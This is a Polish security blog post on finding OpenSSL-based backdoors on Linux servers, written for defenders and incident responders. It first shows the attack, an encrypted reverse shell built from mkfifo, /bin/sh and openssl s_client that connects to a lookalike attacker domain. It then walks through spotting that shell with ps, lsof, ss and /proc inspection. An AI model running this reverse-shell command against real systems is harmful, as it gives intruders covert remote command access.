NFsec Logo

Wykrywanie tylnych wejść do systemu Linux opartych o OpenSSL

24/05/2021 (3 tygodnie temu) w Bezpieczeństwo Brak komentarzy.  (artykuł nr 786, ilość słów: 2209)

Z

nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.


[ Serwer WWW w DC ]
[ -- backdoor --- ] <------> [ # Firewall # ] |<----- [ Atakujący ] 
[ -- port:6969 -- ]


[ Serwer WWW w DC ]          [ # Firewall # ]         [ Atakujący ]
[ -- bindshell -- ]  -------------------------------> [ port: 443 ]
[ -- port:54682 - ]

Omówmy teraz przypadek prostej analizy, w którym atakujący przesyła ruch za pomocą szyfrowania OpenSSL, aby go ukryć w szumie ruchu internetowego. Pakiet openssl jest często domyślnie instalowany na wielu serwerach. Przesyłany ruch za pomocą polecenia openssl jest w pełni szyfrowany, co uniemożliwia analizę przy użyciu standardowych narzędzi do wykrywania i monitorowania włamań do sieci. Ruch jest zaszyfrowany i jeśli nie rozszywamy komunikacji SSL z serwerów to jedyne, co zobaczymy to połączenie ze zdalnym systemem, które może być legalne lub złośliwe. Co gorsza, często wydaje się, że jest to tylko standardowy ruch HTTPS i może zostać całkowicie zignorowany w morzu szumu sieciowego.

Odpalamy zaszyfrowany tunel:

Atakujący po swojej stronie tworzy klucz i samopodpisany certyfikat, który posłuży mu do szyfrowania transmisji z ofiarą:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Uruchamia na swojej maszynie serwer OpenSSL (port 443https), aby symulować połączenie https:// na skompromitowanym hoście.

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

Posiadając możliwość wydawania zdalnych poleceń (ang. Remote Code Execution) na skompromitowanym serwerze WWW atakujący zmusza serwer ofiary, aby ten połączył się z jego maszyną i uruchomił powłokę poleceń:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect \
api.snopcraft.io:443 > /tmp/s; rm /tmp/s

Atakujący dodatkowo używa domeny, która przypomina domenę wykorzystywaną przez pakiet snapd do komunikacji z serwisem snapcraft.io. Po wykonaniu polecenia terminal ofiary podaje ostrzeżenie o samopodpisanym certyfikacie:

depth=0 C = EU, ST = ee, L = ee, O = ee, OU = ee, CN = ee, emailAddress = ee
verify error:num=18:self signed certificate
verify return:1
depth=0 C = EU, ST = ee, L = ee, O = ee, OU = ee, CN = ee, emailAddress = ee
verify return:1

A od strony terminala atakującego pojawia się znak zachęty powłoki. W tym momencie osoba atakująca może wykonywać polecenia z uprawnieniami użytkownika serwera WWW:

root@darkstar:~# openssl s_server -quiet -key key.pem -cert cert.pem -port 443
sh-3.2$ hostname -f
www-farm1.dc.lan
sh-3.2$ uptime
 13:59  up  1:08, 3 users, load averages: 1.76 2.12 2.10
sh-3.2$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),80(sudo)
sh-3.2$ pwd
/var/www/php_cms
sh-3.2$

Widzimy, że osoba atakująca może wykonywać polecenia jako użytkownik serwera WWW ofiary. W dodatku należy on do grupy sudo, co może świadczyć o tym, że posiada możliwość podniesienia uprawnień (możemy to sprawdzić poprzez polecenie: sudo -l). Jeśli w pliku /etc/sudoers umieszczona jest dyrektywa NOPASSWD dla grupy sudoers – maszyna jest już totalnie skompromitowana.

Badanie podejrzanego procesu OpenSSL:

Zakładamy, że widzimy podejrzany ruch sieciowy pochodzący z naszego serwera do zewnętrznego hosta – szczególnie wyróżnia się bardzo dużo danych wysyłanych do internetu mimo, że serwer nie posiada żadnych dużych plików do ściągania – czyżby ktoś wysyłał całą zawartość serwera WWW lub dokonywał wycieku bazy danych, do której posiada dostęp webaplikacja? Sprawdźmy. Logujemy się na host i wykonujemy nasze standardowe polecenia: ps -auxww, lsof, ss, aby sprawdzić, co się wyróżnia:

www-data  11949  0.0  0.1  22212  3852 pts/2    S+   09:21   0:00 /bin/sh -i
www-data  11950  0.0  0.2  19360  5648 pts/2    S+   09:21   0:00 openssl s_client 
                                                                  -quiet -connect
                                                                  api.snopcraft.io:443

Powłoka oraz klient openssl zostały uruchomione z UID użytkownika www-data. Te dwa podejrzane procesy (PID: 11949, 11950) należy sprawdzić pod kątem ich aktywności w sieci (lsof -p 11950):

COMMAND   PID    USER   FD   TYPE  DEVICE SIZE/OFF     NODE NAME
openssl 11950 www-data  cwd    DIR     8,7     4096 15466497 /var/www/php_cms
openssl 11950 www-data  rtd    DIR     8,2     4096        2 /
openssl 11950 www-data  txt    REG     8,5   723944   524368 /usr/bin/openssl
openssl 11950 www-data  mem    REG     8,2    47568      533 /lib/libnss_files-2.27.so
openssl 11950 www-data  mem    REG     8,2    14560      336 /lib/libdl-2.27.so
openssl 11950 www-data  mem    REG     8,2  2030928      318 /lib/libc-2.27.so
openssl 11950 www-data  mem    REG     8,2   144976      763 /lib/libpthread-2.27.so
openssl 11950 www-data  mem    REG     8,5  2917216   395244 /usr/lib/libcrypto.so.1.1
openssl 11950 www-data  mem    REG     8,5   577312   395248 /usr/lib/libssl.so.1.1
openssl 11950 www-data  mem    REG     8,2   179152      172 /lib/ld-2.27.so
openssl 11950 www-data    0r  FIFO    0,13      0t0  4960262 pipe
openssl 11950 www-data    1w  FIFO    0,46      0t0       23 /tmp/s
openssl 11950 www-data    2u   CHR   136,2      0t0        5 /dev/pts/2
openssl 11950 www-data    3r   CHR     1,9      0t0       11 /dev/urandom
openssl 11950 www-data    4r   CHR     1,8      0t0       10 /dev/random
openssl 11950 www-data    5u  IPv4 4958726      0t0      TCP www-farm1.dc.lan:54682->
                                                             api.snopcraft.io:443
                                                             (ESTABLISHED)

Polecenie openssl posiada otworzony potok o dziwnej nazwie /tmp/s. Widzimy również aktywne połączenie do zdalnego systemu api.snopcraft.io. Możemy to potwierdzić poleceniem: ss -at '( sport = :54682 or dport = :443 )':

State     Recv-Q     Send-Q    Local Address:Port        Peer Address:Port
ESTAB     0          0         www-farm1.dc.lan:54682    api.snopcraft.io:443

Teraz, gdy zidentyfikowaliśmy podejrzany proces, przejdźmy do „rejestru” Linuksa /proc, aby uzyskać więcej informacji:

root@www-farm1:~# cd /proc/11950
root@www-farm1:/proc/11950# ls -al
lrwxrwxrwx   1 www-data www-data 0 May 24 10:27 cwd -> /var/www/php_cms
lrwxrwxrwx   1 www-data www-data 0 May 24 10:27 exe -> /usr/bin/openssl

Widzimy ścieżkę, z której prawdopodobnie został uruchomiony proces openssl. W tym momencie możemy stworzyć hash pliku binarnego w celu dalszego zbadania. To, że plik binarny nazywa się openssl nie oznacza, że tak jest. Odłożenie go na „bok” może być dobrym pomysłem, dopóki nie będziemy mieli pewności, ponieważ atakujący mógł go zastąpić swoją wersją i używać jej nazwy, aby uniknąć wykrycia. Jeśli plik jest oznaczony jako usunięty (deleted) na listingu możemy postępować zgodnie z tymi instrukcjami, aby go odzyskać. Zajrzyjmy jeszcze do niektórych krytycznych obszarów procesu, aby zebrać więcej informacji. Trzy kluczowe obszary to: argumenty wiersza poleceń, zmienne środowiskowe oraz mapy procesów:

root@www-farm1:/proc/11950# strings cmdline
openssl
s_client
-quiet
-connect
api.snopcraft.io:443

Polecenie strings powoduje, że dane z pliku cmdline są łatwiejsze do przeczytania. Oprócz powyższego pliku możemy również spojrzeć na plik /proc/$PID/comm, aby zobaczyć czy również pasuje do tego, co wywołuje sam proces. W przypadku niektórych złośliwych programów może on wyglądać inaczej:

root@www-farm1:/proc/11950# cat comm
openssl

Przyjrzymy się teraz zmiennym środowiskowym procesu, które mogą ujawnić wiele informacji o tym, kto lub co rozpoczęło proces:

root@www-farm1:/proc/11950# strings environ
USER=www-data
PWD=/var/www/php_cms
HOME=/var/www/php_cms
LOGNAME=www-data
_=/usr/bin/openssl

Wreszcie, ostatnim obszarem, do którego warto zajrzeć jest plik zawierający aktualnie zamapowane regiony pamięci i ich uprawnienia dostępu. To pokaże nam do jakich plików binarnych i bibliotek odnosi się proces podczas uruchamiania. Czasami możemy znaleźć tutaj ukryte pliki lub biblioteki :

root@www-farm1:/proc/11950# strings maps
56036de20000-56036debc000 r-xp 00000000 08:05 524368   /usr/bin/openssl
56036e0bc000-56036e0c9000 r--p 0009c000 08:05 524368   /usr/bin/openssl
56036e0c9000-56036e0d1000 rw-p 000a9000 08:05 524368   /usr/bin/openssl
7f8dd598a000-7f8dd5995000 r-xp 00000000 08:02 533      /lib/libnss_files-2.27.so
7f8dd5b9c000-7f8dd5b9f000 r-xp 00000000 08:02 336      /lib/libdl-2.27.so
7f8dd6191000-7f8dd61ab000 r-xp 00000000 08:02 763      /lib/libpthread-2.27.so
7f8dd63b0000-7f8dd664b000 r-xp 00000000 08:05 395244   /usr/lib/libcrypto.so.1.1
7f8dd687b000-7f8dd68fc000 r-xp 00000000 08:05 395248   /usr/lib/libssl.so.1.1
7f8dd6b08000-7f8dd6b31000 r-xp 00000000 08:02 172      /lib/ld-2.27.so

Ostatnim obszarem w ramach tej szybkiej akcji kryminalistycznej są deskryptory otwartych plików, z których korzysta proces. Deskryptory otwartych plików mogą ujawnić wiele informacji o procesie i tym, co robi lub czym może być zainteresowany. W przypadku tego bindshell’a openssl spodziewamy się zobaczyć jakiś rodzaj otwartego potoku i być może połączenia z innym procesem dla powłoki. W przypadku innego złośliwego oprogramowania deskryptory plików mogą pokazać ukryte pliki, w których rejestruje dane:

root@www-farm1:/proc/11950# cd fd
/proc/11950/fd
root@www-farm1:/proc/11950/fd# ls -la
total 0
dr-x------ 2 www-data www-data  0 May 24 09:49 .
dr-xr-xr-x 9 www-data www-data  0 May 24 09:49 ..
lr-x------ 1 www-data www-data 64 May 24 09:49 0 -> 'pipe:[4960262]'
l-wx------ 1 www-data www-data 64 May 24 09:49 1 -> /tmp/s
lrwx------ 1 www-data www-data 64 May 24 09:49 2 -> /dev/pts/2
lr-x------ 1 www-data www-data 64 May 24 09:49 3 -> /dev/urandom
lr-x------ 1 www-data www-data 64 May 24 09:49 4 -> /dev/random
lrwx------ 1 www-data www-data 64 May 24 09:49 5 -> 'socket:[4958726]'

Widzimy wcześniej zaważony plik /tmp/s, potok oraz gniazdo, które są podłączone do tego procesu. Oznaczenia 0, 1 oraz 2 są kolejno: standardowym wejściem (stdin), standardowym wyjściem (stdout) oraz standardowym strumieniem błędów (stderr). Czyli potwierdza nam to polecenie z zaszyfrowanego tunelu – ktoś przekierowuje wejścia i wyjścia do nazwanego potoku w tymczasowym katalogu. Sprawdźmy teraz PID: 11949, który uruchomił powłokę /bin/sh -i:

root@www-farm1:/proc/11949/fd# ls -al
total 0
dr-x------ 2 agresor agresor  0 May 24 09:49 .
dr-xr-xr-x 9 agresor agresor  0 May 24 09:49 ..
lr-x------ 1 agresor agresor 64 May 24 09:49 0 -> /tmp/s
l-wx------ 1 agresor agresor 64 May 24 09:49 1 -> 'pipe:[4960262]'
l-wx------ 1 agresor agresor 64 May 24 09:49 2 -> 'pipe:[4960262]'
lrwx------ 1 agresor agresor 64 May 24 09:49 255 -> /dev/tty

Widzimy, że polecenie openssl oraz /bin/sh współdzielą tą samą referencję i-węzła (4960262) do nazwanego potoku /tmp/s – w ten sposób powłoka i klient openssl są połączone i wymieniają dane. Wiemy już, że to nie jest proces programisty, który użył openssl do debugowania problemu z certyfikatem SSL. Czas zainicjować procedurę reagowania na incydent i kontynuować badanie, aby dowiedzieć się jak doszło do możliwości wykonania polecenia z poziomu serwera WWW.

Więcej informacji: Day 43: Reverse Shell with OpenSSL, Detecting and Investigating OpenSSL Backdoors on Linux

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.